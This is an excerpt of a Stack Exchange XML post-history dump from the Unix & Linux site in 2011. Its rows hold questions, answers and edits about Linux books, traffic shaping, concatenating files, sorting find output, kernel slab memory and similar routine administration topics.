criteria:&#xD;&#xA;&#xD;&#xA; - Fedora Linux, Tyler&#xD;&#xA; - Linux in a Nutshell, &#xD;&#xA; - Beginning Ubuntu LTS Server Administration, Sander van Vugt&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.amazon.co.uk/Linux-Administration-Beginners-Guide-Fifth/dp/0071545883&#xD;&#xA;  [2]: http://books.google.com/books?id=GB_O89fnz_sC&amp;lpg=PP1&amp;pg=PA19#v=onepage&amp;q&amp;f=false&#xD;&#xA;  [3]: http://unix.stackexchange.com/questions/13577/which-book-would-you-recommend-to-gain-enough-foundation-to-learn-linux-well-enou#comment-18179&#xD;&#xA;  [4]: http://www.amazon.co.uk/Official-Highway-Code-Department-Transport/dp/0115528148" />
  <row Id="33947" PostHistoryTypeId="5" PostId="13577" RevisionGUID="3ef46e00-fdb6-4f90-9b84-0a76e49e7650" CreationDate="2011-05-22T19:51:44.830" UserId="7638" Comment="deleted 355 characters in body; added 44 characters in body; added 48 characters in body" Text="I have been using Linux for years and have never really felt 100% confident with it. &#xD;&#xA;&#xD;&#xA;I have bought a couple of 'Linux' books and, each time, I am disappointed to read that they are aimed at more advanced users.&#xD;&#xA;&#xD;&#xA;I was about to buy '[Linux Administration: A Beginner's Guide][1]' and, yet again, its introductory page says:&#xD;&#xA;&#xD;&#xA;&gt; A part of the title of this book reads&#xD;&#xA;&gt; &quot;A beginners Guide&quot;; this is mostly&#xD;&#xA;&gt; apt. But what the title should say is&#xD;&#xA;&gt; &quot;A Beginner's to Linux Administration&#xD;&#xA;&gt; Guide&quot;...we assume that you are&#xD;&#xA;&gt; already familiar with Microsoft&#xD;&#xA;&gt; Windows servers at a power user level&#xD;&#xA;&gt; or better.&#xD;&#xA;&#xD;&#xA;So, I am really struggling to find a book that is going to give me the introductory knowledge that is needed to fill in the basics before I go on to read the 'Beginning Linux books'. Perhaps one of the *Unix Classics*, (whatever that might be).&#xD;&#xA; &#xD;&#xA;Just to give you an insight into my goals: I am not so interested in becoming a *system administrator*, more of a *lead web developer*.&#xD;&#xA;&#xD;&#xA;So, &#xD;&#xA;&#xD;&#xA;**Which book would you recommend to gain enough foundation to learn Linux well enough to be a lead developer?**&#xD;&#xA;&#xD;&#xA;To make this question as objective as possible, in order to be a valid answer:&#xD;&#xA;&#xD;&#xA;- it must be *a book* &#xD;&#xA;- the introduction to the book should not say &quot;we assume the reader is already a power user / experienced in linux / sys admin&quot; &#xD;&#xA;- by reading the book I'd be able to be suitably qualified to read &quot;Linux Administration: A Beginner's Guide&quot;&#xD;&#xA;&#xD;&#xA;**Update in response to:** &#xD;&#xA;Re: “[This is like asking for a book that teaches you how to ride a bicycle.][3]” &#xD;&#xA;&#xD;&#xA;If we were to use that analogy the one answer would be &quot;[The highway code][4]&quot;. Because, although you might have learned to ride a bike in your backyard, its the kind of book you should read *before* you go out onto the main roads. It does not require you to have had experience of cycling *before* you read and understand it. It is not intended as a substitute for hands-on experience. And, by reading it, you avoid the need to run `man redtrafficlight` as you approach a junction.&#xD;&#xA;&#xD;&#xA;---&#xD;&#xA;The following are books which I have bought/considered buying, but discovered that they do not meet the criteria:&#xD;&#xA;&#xD;&#xA; - Fedora Linux, Tyler&#xD;&#xA; - Linux in a Nutshell, &#xD;&#xA; - Beginning Ubuntu LTS Server Administration, Sander van Vugt&#xD;&#xA; - Unix and Linux System Administration Handbook, Nemeth et al&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.amazon.co.uk/Linux-Administration-Beginners-Guide-Fifth/dp/0071545883&#xD;&#xA;  [2]: http://books.google.com/books?id=GB_O89fnz_sC&amp;lpg=PP1&amp;pg=PA19#v=onepage&amp;q&amp;f=false&#xD;&#xA;  [3]: http://unix.stackexchange.com/questions/13577/which-book-would-you-recommend-to-gain-enough-foundation-to-learn-linux-well-enou#comment-18179&#xD;&#xA;  [4]: http://www.amazon.co.uk/Official-Highway-Code-Department-Transport/dp/0115528148" />
  <row Id="33948" PostHistoryTypeId="25" PostId="13595" RevisionGUID="b5b936ce-364b-4a96-98a8-43c87493ce86" CreationDate="2011-05-22T21:12:34.660" Comment="http://twitter.com/#!/StackUnix/status/72409540234199041" />
  <row Id="33949" PostHistoryTypeId="2" PostId="13599" RevisionGUID="8ae1fc63-6334-43e3-9af3-78a66b5e1574" CreationDate="2011-05-22T22:24:22.890" UserId="3154" Text="If I've understood correctly, you're trying to limit your ingress traffic from your ISP by limiting egress traffic on your locally facing interface.&#xD;&#xA;&#xD;&#xA;The packet loss you're seeing are probably to be expected, as dropped packets are (one of) TCPs way(s) of detecting congestion, and the way a router can signal congestion. It's also the only reasonable way your router can abide by the limitation you've given it via tc without breaking i.e. TCPs congestion avoidance. (tc does have facilities for using RED, although I don't know enough about this to tell you anything beyond it's existence).&#xD;&#xA;&#xD;&#xA;Instead of shaping egress traffic on your inward facing interface, you could check out tc's [ingress qdisc][1], attach it to the interface facing your ISP and a tc filter to police your ingress traffic. Packet loss will still occur, as it's probably the only viable way for your router to signal congestion.&#xD;&#xA;&#xD;&#xA;For an example, see the LARTC cookbook entry [&quot;The Ultimate Traffic Conditioner&quot;][2], which among other things use tc's ingress qdisc.&#xD;&#xA;&#xD;&#xA;  [1]: http://lartc.org/howto/lartc.adv-qdisc.ingress.html&#xD;&#xA;  [2]: http://lartc.org/howto/lartc.cookbook.ultimate-tc.html" />
  <row Id="33950" PostHistoryTypeId="5" PostId="9778" RevisionGUID="b56bf0d0-7d25-4430-9f39-714c0b311c72" CreationDate="2011-05-22T22:31:26.477" UserId="73" Comment="deleted 30 characters in body" Text="On Ubuntu 10.10, which XML file under the directory `/usr/share/mime/applications` is for MIME type `text/html`?&#xD;&#xA;&#xD;&#xA;I checked `xml.xml` and `xhtml+xml.xml`, but neither has a glob pattern of `*.html`.&#xD;&#xA;So where is this file format entry? &#xD;&#xA;" />
  <row Id="33951" PostHistoryTypeId="6" PostId="2047" RevisionGUID="c8ec1857-91e3-4fd0-befc-455c3e5352e3" CreationDate="2011-05-22T22:37:42.487" UserId="885" Comment="edited tags" Text="édistributionöchoiceàébsdà" />
  <row Id="33952" PostHistoryTypeId="2" PostId="13600" RevisionGUID="c869623f-4e27-4065-90d0-66189dd03ec2" CreationDate="2011-05-22T23:32:01.120" UserId="732" Text="If you used and understood Arch linux, you will have zero trouble with NetBSD, except for the `ps` command line flags.  All the /etc files are the same, the /etc/rc.d files are similar." />
  <row Id="33953" PostHistoryTypeId="2" PostId="13601" RevisionGUID="8d8f7f06-0622-4ac8-9476-399adc7ca8b7" CreationDate="2011-05-23T00:01:53.017" UserId="1389" Text="I have...&#xD;&#xA;&#xD;&#xA;&gt; me@computer:~/gutenberg/euclid$ ls&#xD;&#xA;&#xD;&#xA;&gt; book01.html  book04.html  book07.html &#xD;&#xA;&gt; book10.html  book13.html book02.html &#xD;&#xA;&gt; book05.html  book08.html  book11.html&#xD;&#xA;&gt; book03.html  book06.html  book09.html &#xD;&#xA;&gt; book12.html&#xD;&#xA;&#xD;&#xA;and I want to join all these .html files into the same big file, in order. What command or command sequence can I use?" />
  <row Id="33954" PostHistoryTypeId="1" PostId="13601" RevisionGUID="8d8f7f06-0622-4ac8-9476-399adc7ca8b7" CreationDate="2011-05-23T00:01:53.017" UserId="1389" Text="command for joining a series of files together" />
  <row Id="33955" PostHistoryTypeId="3" PostId="13601" RevisionGUID="8d8f7f06-0622-4ac8-9476-399adc7ca8b7" CreationDate="2011-05-23T00:01:53.017" UserId="1389" Text="écommandölineà" />
  <row Id="33956" PostHistoryTypeId="2" PostId="13602" RevisionGUID="3e8875ab-5047-4b5d-b6d2-532610136644" CreationDate="2011-05-23T00:10:23.413" UserId="1571" Text="I'm in the process of QA/debugging a project on a custom embedded linux system. The problem we're VERY tight on memory, and even a couple megs can cause issues with our software.&#xD;&#xA;&#xD;&#xA;What I'm seeing (sometimes) is that when our system crashes (soft crashes), our own software isn't taking up any more memory than usual. But what's weird is that the linux kernel slab has a MUCH higher than normal number of objects in its 32byte slab cache:&#xD;&#xA;&#xD;&#xA;    size-32           103674 103734     32  113    1 : tunables  120   60    0 : slabdata    918    918      0&#xD;&#xA;&#xD;&#xA;This is what the slab looks like under normal circumstances:&#xD;&#xA;&#xD;&#xA;    size-32             5400   6554     32  113    1 : tunables  120   60    0 : slabdata     58     58      0&#xD;&#xA;&#xD;&#xA;Obviously that's a significant difference. &#xD;&#xA;&#xD;&#xA;I know there's not much information here, but this is really all the information I have to go on. Is there any way to determine what the slab contains? Or where it was allocated from or anything like that? Or maybe just force it to free its memory?&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;This is running on an ARM based board with 64mB of ram running a 2.6.30 kernel.&#xD;&#xA;" />
  <row Id="33957" PostHistoryTypeId="1" PostId="13602" RevisionGUID="3e8875ab-5047-4b5d-b6d2-532610136644" CreationDate="2011-05-23T00:10:23.413" UserId="1571" Text="Linux kernel slab usage growing on embedded system" />
  <row Id="33958" PostHistoryTypeId="3" PostId="13602" RevisionGUID="3e8875ab-5047-4b5d-b6d2-532610136644" CreationDate="2011-05-23T00:10:23.413" UserId="1571" Text="ékernelàémemoryàédebuggingàécacheà" />
  <row Id="33959" PostHistoryTypeId="25" PostId="13601" RevisionGUID="5c7b9aa6-acfa-4d03-ac83-5a2ab238ca70" CreationDate="2011-05-23T00:12:35.323" Comment="http://twitter.com/#!/StackUnix/status/72454840940363776" />
  <row Id="33960" PostHistoryTypeId="2" PostId="13603" RevisionGUID="6486da34-d0fc-4550-840d-334c8eeb314c" CreationDate="2011-05-23T00:50:20.643" UserId="7687" Text="The simple solution will probably work, if your browser is permissiv.&#xD;&#xA;&#xD;&#xA;    cat book[0-9]*.html &gt; book.html&#xD;&#xA;&#xD;&#xA;Sure you could go around stripping stuff to be probably slightly more legal:&#xD;&#xA;&#xD;&#xA;    perl -e 'undef($/); for($x=0;$x&lt;=$#ARGV;$x++) { open(X,&quot;&lt;&quot;,$ARGV[$x]); $_ = &lt;X&gt;; close(X); s/.*&lt;body[^&gt;]*&gt;//s unless ($x == 0);  s|&lt;/body&gt;|| unless ($x == $#ARGV); print;' book[0-9]*.html &gt; book.html&#xD;&#xA;&#xD;&#xA;But that is no guarantee that you will really have everything you need either, if the chapters have different styles or javascript or whatever.&#xD;&#xA;" />
  <row Id="33962" PostHistoryTypeId="2" PostId="13605" RevisionGUID="ce8b4722-23dd-4e36-b361-a5bc49aef121" CreationDate="2011-05-23T01:15:27.400" UserId="4781" Text="Result of a normal find using `find . ! -path &quot;./build*&quot; -name &quot;*.txt&quot;`:&#xD;&#xA;&#xD;&#xA;     ./tool/001-sub.txt&#xD;&#xA;     ./tool/000-main.txt&#xD;&#xA;     ./zo/001-int.txt&#xD;&#xA;     ./as/002-mod.txt&#xD;&#xA;&#xD;&#xA;and when sorted with `sort -n`:&#xD;&#xA;&#xD;&#xA;     ./as/002-mod.txt&#xD;&#xA;     ./tool/000-main.txt&#xD;&#xA;     ./tool/001-sub.txt&#xD;&#xA;     ./zo/001-int.txt&#xD;&#xA;&#xD;&#xA;however the desired output is:&#xD;&#xA;&#xD;&#xA;     ./tool/000-main.txt&#xD;&#xA;     ./zo/001-int.txt&#xD;&#xA;     ./tool/001-sub.txt&#xD;&#xA;     ./as/002-mod.txt&#xD;&#xA;&#xD;&#xA;which means output is sorted based on *filename only*, but folder information should be maintained as part of the output." />
  <row Id="33963" PostHistoryTypeId="1" PostId="13605" RevisionGUID="ce8b4722-23dd-4e36-b361-a5bc49aef121" CreationDate="2011-05-23T01:15:27.400" UserId="4781" Text="How to find files in subdirs and sort them by filename in a single command?" />
  <row Id="33964" PostHistoryTypeId="3" PostId="13605" RevisionGUID="ce8b4722-23dd-4e36-b361-a5bc49aef121" CreationDate="2011-05-23T01:15:27.400" UserId="4781" Text="éfindàéfilenamesàésortà" />
  <row Id="33966" PostHistoryTypeId="5" PostId="4215" RevisionGUID="e7754fe6-1305-4c70-87f0-1b71b910b09f" CreationDate="2011-05-23T01:25:54.463" UserId="2180" Comment="deleted 1 characters in body" Text="A process is any running program with its own address space.&#xD;&#xA;&#xD;&#xA;A job is a concept used by the shell - any program you interactively start that doesn't detach (ie, not a daemon) is a job. If you're running an interactive program, you can press &lt;kbd&gt;Ctrl&lt;/kbd&gt;&lt;kbd&gt;Z&lt;/kbd&gt; to suspend it. Then you can start it back in the foreground (using `fg`) or in the background (using `bg`).&#xD;&#xA;&#xD;&#xA;While the program is suspended or running in the background, you can start another program - you would then have two jobs running. You can also start a program running in the background by appending an &quot;&amp;&quot; like this: `program &amp;`. That program would become a background job. To list all the jobs you are running, you can use `jobs`.&#xD;&#xA;&#xD;&#xA;For more information on jobs, see [this section][1] of the bash man page.&#xD;&#xA;&#xD;&#xA;[1]:http://www.faqs.org/docs/bashman/bashref_77.html " />
  <row Id="33967" PostHistoryTypeId="2" PostId="13606" RevisionGUID="8bbd5ef7-586b-4626-87fc-4d8ac82a20f4" CreationDate="2011-05-23T01:36:33.650" UserId="7688" Text="At the moment, BSD VPS providers seem pretty few &amp; far between.  Here are a couple I've found that provide FreeBSD:&#xD;&#xA;&#xD;&#xA; - [CloudSigma](http://cloudsigma.com)&#xD;&#xA; - [AYK Solutions - Provides FreeBSD option for cloud servers](http://ayksolutions.com)&#xD;&#xA;&#xD;&#xA;It seems like there probably isn't as much demand for BSD based servers right now... but perhaps that will change in the future." />
  <row Id="33968" PostHistoryTypeId="2" PostId="13607" RevisionGUID="a473f406-a904-47ad-a119-78782c5b316e" CreationDate="2011-05-23T01:41:00.310" UserId="7688" Text="Any diff utility can do this for you.  My personal favorite GUI tool is [meld](http://meld.sourceforge.net/).&#xD;&#xA;&#xD;&#xA;If you like the command line, but want a paged side-by-side comparison, try:&#xD;&#xA;&#xD;&#xA;`diff -y | less`" />
  <row Id="33969" PostHistoryTypeId="2" PostId="13608" RevisionGUID="73921538-58a8-42c4-bde1-5ccabf5bfa6b" CreationDate="2011-05-23T01:53:25.063" UserId="4781" Text="With [Keychain][1] you can do it as long as you use a key pair without password.&#xD;&#xA;&#xD;&#xA;[Keychain][1] automatically detects if you have ssh-agents running and uses them. You can configure it to automatically load a set of keys and to forget them on certain occasions.&#xD;&#xA;&#xD;&#xA;  [1]: http://docs.funtoo.org/wiki/Keychain" />
  <row Id="33970" PostHistoryTypeId="2" PostId="13609" RevisionGUID="7082370b-0319-4175-9ba4-e235641dc4a0" CreationDate="2011-05-23T02:04:09.817" UserId="2180" Text="You need to sort by the last field (considering `/` as a field separator). Unfortunately, I can't think of a tool that can do this when the number of fields varies (if only `sort -k` could take negative values).&#xD;&#xA;&#xD;&#xA;To get around this, you'll have to do a Schwartzian transform. That is, take the filename `basename $filename` and put it at the beginning followed by a field separator, then do a sort, then remove the first column and field separator." />
  <row Id="33971" PostHistoryTypeId="5" PostId="13609" RevisionGUID="ea9e2e6b-06a0-41a4-8ea1-82f3e72d5330" CreationDate="2011-05-23T02:10:46.083" UserId="2180" Comment="added 92 characters in body; added 33 characters in body; added 3 characters in body" Text="You need to sort by the last field (considering `/` as a field separator). Unfortunately, I can't think of a tool that can do this when the number of fields varies (if only `sort -k` could take negative values).&#xD;&#xA;&#xD;&#xA;To get around this, you'll have to do a Schwartzian transform. That is, take the filename `basename $filename` and put it at the beginning followed by a field separator, then do a sort, then remove the first column and field separator.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;    find . ! -path &quot;./build*&quot; -name &quot;*.txt&quot; | awk 'BEGIN { FS = &quot;/&quot; }; { print $NF,&quot;/&quot;,$0 }' | sort -n -t / | cut -f2- -d/" />
  <row Id="33972" PostHistoryTypeId="5" PostId="13609" RevisionGUID="572119a2-1211-4f43-a6ba-79a67710a72d" CreationDate="2011-05-23T02:16:10.717" UserId="2180" Comment="added 11 characters in body" Text="You need to sort by the last field (considering `/` as a field separator). Unfortunately, I can't think of a tool that can do this when the number of fields varies (if only `sort -k` could take negative values).&#xD;&#xA;&#xD;&#xA;To get around this, you'll have to do a Schwartzian transform. That is, take the filename `basename $filename` and put it at the beginning followed by a field separator, then do a sort, then remove the first column and field separator.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;    find . ! -path &quot;./build*&quot; -name &quot;*.txt&quot; | awk 'BEGIN { FS = &quot;/&quot; }; { OFS = &quot;/&quot; }; { print $NF,$0 }' | sort -n -t / | cut -f2- -d/" />
  <row Id="33973" PostHistoryTypeId="5" PostId="13609" RevisionGUID="a430e5ab-4289-4c52-99d5-929f79f27b5c" CreationDate="2011-05-23T02:25:00.133" UserId="2180" Comment="formatting" Text="You need to sort by the last field (considering `/` as a field separator). Unfortunately, I can't think of a tool that can do this when the number of fields varies (if only `sort -k` could take negative values).&#xD;&#xA;&#xD;&#xA;To get around this, you'll have to do a decorate-sort-undecorate. That is, take the filename and put it at the beginning followed by a field separator, then do a sort, then remove the first column and field separator.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;    find . ! -path &quot;./build*&quot; -name &quot;*.txt&quot; | awk 'BEGIN { FS = &quot;/&quot; }; { OFS = &quot;/&quot; }; { print $NF,$0 }' | sort -n -t / | cut -f2- -d/&#xD;&#xA;&#xD;&#xA;That `awk` command says the *field separator* is set to `/`; this affects the way it reads fields. The *output field separator* is also set to `/`; this affects the way it prints records. The next statement says print the last column (`$NF` is the number of fields in the record, so it also happens to be the index of the last field) as well as the whole record (`$0` is the whole record); it will print them with the OFS between them. Then the list is `sort`ed, treating `/` as the field separator - since we have the filename first in the record, it will sort by that. Then the `cut` removes prints only fields 2 through the end, again treating `/` as the field separator." />
  <row Id="33974" PostHistoryTypeId="5" PostId="13609" RevisionGUID="fd5034a4-3cef-4952-8c27-789bd88b85a1" CreationDate="2011-05-23T02:33:54.263" UserId="2180" Comment="added 30 characters in body" Text="You need to sort by the last field (considering `/` as a field separator). Unfortunately, I can't think of a tool that can do this when the number of fields varies (if only `sort -k` could take negative values).&#xD;&#xA;&#xD;&#xA;To get around this, you'll have to do a decorate-sort-undecorate. That is, take the filename and put it at the beginning followed by a field separator, then do a sort, then remove the first column and field separator.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;    find . ! -path &quot;./build*&quot; -name &quot;*.txt&quot; |\&#xD;&#xA;        awk 'BEGIN { FS = &quot;/&quot; }; { OFS = &quot;/&quot; }; { print $NF,$0 }' |\&#xD;&#xA;        sort -n -t / |\&#xD;&#xA;        cut -f2- -d/&#xD;&#xA;&#xD;&#xA;That `awk` command says the *field separator* is set to `/`; this affects the way it reads fields. The *output field separator* is also set to `/`; this affects the way it prints records. The next statement says print the last column (`$NF` is the number of fields in the record, so it also happens to be the index of the last field) as well as the whole record (`$0` is the whole record); it will print them with the OFS between them. Then the list is `sort`ed, treating `/` as the field separator - since we have the filename first in the record, it will sort by that. Then the `cut` removes prints only fields 2 through the end, again treating `/` as the field separator." />
  <row Id="33975" PostHistoryTypeId="25" PostId="13605" RevisionGUID="b1c9b686-9d8a-4ecb-9308-958f38be7151" CreationDate="2011-05-23T03:12:34.897" Comment="http://twitter.com/#!/StackUnix/status/72500138597285888" />
  <row Id="33976" PostHistoryTypeId="2" PostId="13610" RevisionGUID="921209bb-d736-455e-8dff-5802c0a9ad9a" CreationDate="2011-05-23T03:41:20.823" UserId="732" Text="In this particular case `cat book??.html &gt; book.html` will work fine, if you don't care about proper HTML format.&#xD;&#xA;&#xD;&#xA;For a more general case, say you had &quot;book1.html&quot; instead of &quot;book01.html&quot;, &quot;book2.html&quot; instead of &quot;book02.html&quot; and so forth.  The file names don't sort lexically the same as logically. You can do something like this:&#xD;&#xA;&#xD;&#xA;    (echo book?.html | sort; echo book??.html | sort) | xargs cat &gt; book.html&#xD;&#xA;&#xD;&#xA;So in general: `script_generating_file_names_in_order | xargs cat &gt; all_one_file`&#xD;&#xA;&#xD;&#xA;That idiom can go a long way." />
  <row Id="33977" PostHistoryTypeId="2" PostId="13611" RevisionGUID="5150dab5-152b-4d39-8df2-cfb5616dc20c" CreationDate="2011-05-23T03:46:50.150" UserId="313" Text="Hello,&#xD;&#xA;&#xD;&#xA;I am trying to build Scribes in Slackware64 13.37 with XFCE and I am having a lot of troubles with the Python Binding for GTK Spell. I have gtkspell-2.0.16-x86_64-1 and pygtkspell-2.25.3-i486-3sl installed but, the autogen script does not seem to find it:&#xD;&#xA;&#xD;&#xA;    ...&#xD;&#xA;    checking for python script directory... ${prefix}/lib64/python2.6/site-packages&#xD;&#xA;    checking for python extension module directory... ${exec_prefix}/lib64/python2.6/site-packages&#xD;&#xA;    Checking for D-Bus (Python Bindings)... yes&#xD;&#xA;    Checking for PyGTK... yes&#xD;&#xA;    Checking for pygtksourceview2... yes&#xD;&#xA;    Error: Python bindings for gtkspell was not found.&#xD;&#xA;    configure: error: Error: Dependency check failed&#xD;&#xA;&#xD;&#xA;I tried to put a link in the path mentioned there (**${prefix}/lib64/python2.6/site-packages**, even though I do not know where that ${prefix} points =S, so I assumed the lib64 is the one in /) because the modules for python2.6/site-packages are really located in&#xD;&#xA;&#xD;&#xA;    /usr/lib/python2.6/site-packages/gtk-2.0/gtkspell.la&#xD;&#xA;    /usr/lib/python2.6/site-packages/gtk-2.0/gtkspell.so&#xD;&#xA;&#xD;&#xA;also, I tried pointing all the link all the way to **/usr/lib/python2.6/site-packages/gtk-2.0/**&#xD;&#xA;&#xD;&#xA;    site-packages -&gt; /usr/lib/python2.6/site-packages/gtk-2.0/&#xD;&#xA;&#xD;&#xA;but no luck =(.&#xD;&#xA;&#xD;&#xA;Is there a way to specify the path to pygtkspell? should I put those modules somewhere else?&#xD;&#xA;&#xD;&#xA;I am out of ideas, so thank you very much for yours =)&#xD;&#xA;&#xD;&#xA;Regards," />
  <row Id="33978" PostHistoryTypeId="1" PostId="13611" RevisionGUID="5150dab5-152b-4d39-8df2-cfb5616dc20c" CreationDate="2011-05-23T03:46:50.150" UserId="313" Text="Scribes Editor and Slackware64 13.37 -- PyGTKSpell Cannot Be Found" />
  <row Id="33979" PostHistoryTypeId="3" PostId="13611" RevisionGUID="5150dab5-152b-4d39-8df2-cfb5616dc20c" CreationDate="2011-05-23T03:46:50.150" UserId="313" Text="éslackwareàéconfigureàéslackbuildsà" />
  <row Id="33980" PostHistoryTypeId="2" PostId="13612" RevisionGUID="5bf22c29-6e38-4294-9631-d65a14c971b0" CreationDate="2011-05-23T04:42:24.720" UserId="4485" Text="I buy the remarks about head/tail, and have a solution, sorted by number without that xargs/sort/echo stuff.&#xD;&#xA;&#xD;&#xA;    cat book{01..12}.html book-all.html&#xD;&#xA;&#xD;&#xA;" />
  <row Id="33981" PostHistoryTypeId="25" PostId="13611" RevisionGUID="c4ccae93-b066-4e56-b6c0-d1ca1a2da264" CreationDate="2011-05-23T06:12:35.620" Comment="http://twitter.com/#!/StackUnix/status/72545440096190464" />
  <row Id="33982" PostHistoryTypeId="2" PostId="13613" RevisionGUID="e20d2bf0-4183-4c4c-a16f-50cb1367bdb2" CreationDate="2011-05-23T07:23:56.547" UserId="7167" Text="If you use GNU sort you can use `sort -V` to sort the names in the correct order:&#xD;&#xA;&#xD;&#xA;&lt;pre&gt;&#xD;&#xA;$ echo -e &quot;book4\nbook2\nbook17\nbook12&quot; | sort -V&#xD;&#xA;book2&#xD;&#xA;book4&#xD;&#xA;book12&#xD;&#xA;book17&#xD;&#xA;&lt;/pre&gt;&#xD;&#xA;&#xD;&#xA;This works for any number of files:&#xD;&#xA;&#xD;&#xA;    ls book*.html | sort -V | xargs cat &gt; allbooks.html&#xD;&#xA;" />
  <row Id="33983" PostHistoryTypeId="2" PostId="13614" RevisionGUID="f8531e5b-ca14-45fd-b327-76b9dfb3a0b3" CreationDate="2011-05-23T07:29:36.267" UserId="885" Text="In zsh ≥4.3.10:&#xD;&#xA;&#xD;&#xA;    print -l -- **/*.txt~build*(oe\''REPLY=${REPLY:t}'\')&#xD;&#xA;&#xD;&#xA;* `**/*.txt` matches `*.txt` in the current directory and its subdirectories [recursively](http://zsh.sourceforge.net/Doc/Release/Expansion.html#Recursive-Globbing).&#xD;&#xA;* `~build*` [excludes](http://zsh.sourceforge.net/Doc/Release/Expansion.html#Glob-Operators) matches whose text begins with `build*` (like `! -path './build*'`). (You need `setopt extended_glob` first.)&#xD;&#xA;* `(oe\''…'\')` is a sorting [glob qualifier](http://zsh.sourceforge.net/Doc/Release/Expansion.html#Glob-Qualifiers). `REPLY=…` constructs the string to sort from the string to return.&#xD;&#xA;* `${REPLY:t}` is the [basename](http://zsh.sourceforge.net/Doc/Release/Expansion.html#Modifiers) (“tail”) of the path.&#xD;&#xA;" />
  <row Id="33984" PostHistoryTypeId="2" PostId="13615" RevisionGUID="8c548d6c-0722-4de3-9077-91338569e1c2" CreationDate="2011-05-23T07:45:27.207" UserId="6761" Text="You will need a couple of steps. Enable the threaded folder view with `Ctrl+T`.  Then set &quot;Include threads: all related&quot; in the search folder configuration.&#xD;&#xA;&#xD;&#xA;If you are using an SMTP server other than Gmail's you may need a further hack. You could bcc yourself at a plus extension of your Gmail address; something like &quot;+threaded&quot;,  then configure the external Evolution accounts to &quot;Always bcc to&quot; this address.&#xD;&#xA;&#xD;&#xA;There is a detailed walk-through of this approach by &lt;a href=&quot;https://mattmccutchen.net/email/index.html&quot;&gt;Matt McCutchen on his blog&lt;/a&gt;." />
  <row Id="33985" PostHistoryTypeId="2" PostId="13616" RevisionGUID="8b757db1-ad42-4754-90c9-b15491832e42" CreationDate="2011-05-23T08:18:16.047" UserId="7525" Text="Painfully slow might be in relation to your I/O. I came to find out the hard way that this might be remedied by telling libvirt to use the virtio. To verify mine:&#xD;&#xA;&#xD;&#xA;    # virsh list&#xD;&#xA;     Id Name                 State&#xD;&#xA;    ----------------------------------&#xD;&#xA;     11 ca                   running&#xD;&#xA;     13 new_box           running&#xD;&#xA;    .....&#xD;&#xA;    &#xD;&#xA;    &#xD;&#xA;    # virsh dumpxml ca|awk '/disk/,/&lt;\/disk&gt;/'&#xD;&#xA;        &lt;disk type='block' device='disk'&gt;&#xD;&#xA;          &lt;driver name='qemu'/&gt;&#xD;&#xA;          &lt;source dev='/dev/xen02/ca.root'/&gt;&#xD;&#xA;          &lt;target dev='vda' bus='virtio'/&gt;&#xD;&#xA;          &lt;alias name='virtio-disk0'/&gt;&#xD;&#xA;          &lt;address type='pci' domain='0x0000' bus='0x00' slot='0x04' function='0x0'/&gt;&#xD;&#xA;        &lt;/disk&gt;&#xD;&#xA;        &lt;disk type='block' device='cdrom'&gt;&#xD;&#xA;          &lt;target dev='hdc' bus='ide'/&gt;&#xD;&#xA;          &lt;readonly/&gt;&#xD;&#xA;          &lt;alias name='ide0-1-0'/&gt;&#xD;&#xA;          &lt;address type='drive' controller='0' bus='1' unit='0'/&gt;&#xD;&#xA;        &lt;/disk&gt;&#xD;&#xA;&#xD;&#xA;You can do this at install time or a bit more painfully, by editing the existing VM definition. Have a look at [this][1]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://andorian.blogspot.com/2011/05/libvirt-cheatsheet.html" />
  <row Id="33986" PostHistoryTypeId="2" PostId="13617" RevisionGUID="14579de8-b1fe-4133-9583-b2a744592602" CreationDate="2011-05-23T08:19:27.717" UserId="6339" Text="Google could not help me with this problem. I hope you guys can.&#xD;&#xA;&#xD;&#xA;When I boot my computer, the first few screens presented to me by BIOS and boot menu are stretched to fit the LCD screen. Once Linux boots, however, the screen shrinks so one pixel of the console font uses only one pixel of the screen, causing the usable area of screen to shrink to only the upper left part of the screen, since the console uses only 640x480 of the 1280x1024 size monitor.&#xD;&#xA;&#xD;&#xA;I know I can use the VGA= boot flag to set modes that increases the number of rows and columns of text, so that the whole screen is used. However, what I want to do is keep the number of rows and columns *as they are* but scale the whole screen to fit the monitor, just like the BIOS boot messages. I need to do this in a way that will work on any monitor automatically.&#xD;&#xA;" />
  <row Id="33987" PostHistoryTypeId="1" PostId="13617" RevisionGUID="14579de8-b1fe-4133-9583-b2a744592602" CreationDate="2011-05-23T08:19:27.717" UserId="6339" Text="In linux console (no X), how to stretch console screen to fit monitor" />
  <row Id="33988" PostHistoryTypeId="3" PostId="13617" RevisionGUID="14579de8-b1fe-4133-9583-b2a744592602" CreationDate="2011-05-23T08:19:27.717" UserId="6339" Text="élinuxàébootàéconsoleàémonitorà" />
  <row Id="33989" PostHistoryTypeId="5" PostId="13605" RevisionGUID="4b5d152d-2b18-4e57-967d-28b78440c3ee" CreationDate="2011-05-23T08:43:40.213" UserId="4781" Comment="added 169 characters in body" Text="Result of a normal find using `find . ! -path &quot;./build*&quot; -name &quot;*.txt&quot;`:&#xD;&#xA;&#xD;&#xA;    ./tool/001-sub.txt&#xD;&#xA;    ./tool/000-main.txt&#xD;&#xA;    ./zo/001-int.txt&#xD;&#xA;    ./zo/id/002-and.txt&#xD;&#xA;    ./as/002-mod.txt&#xD;&#xA;&#xD;&#xA;and when sorted with `sort -n`:&#xD;&#xA;&#xD;&#xA;    ./as/002-mod.txt&#xD;&#xA;    ./tool/000-main.txt&#xD;&#xA;    ./tool/001-sub.txt&#xD;&#xA;    ./zo/001-int.txt&#xD;&#xA;    ./zo/id/002-and.txt&#xD;&#xA;&#xD;&#xA;however the desired output is:&#xD;&#xA;&#xD;&#xA;    ./tool/000-main.txt&#xD;&#xA;    ./zo/001-int.txt&#xD;&#xA;    ./tool/001-sub.txt&#xD;&#xA;    ./zo/id/002-and.txt&#xD;&#xA;    ./as/002-mod.txt&#xD;&#xA;&#xD;&#xA;which means output is sorted based on *filename only*, but folder information should be maintained as part of the output.&#xD;&#xA;&#xD;&#xA;**Edit**: Make example more complicated as the subdirectory structure may include more than one level." />
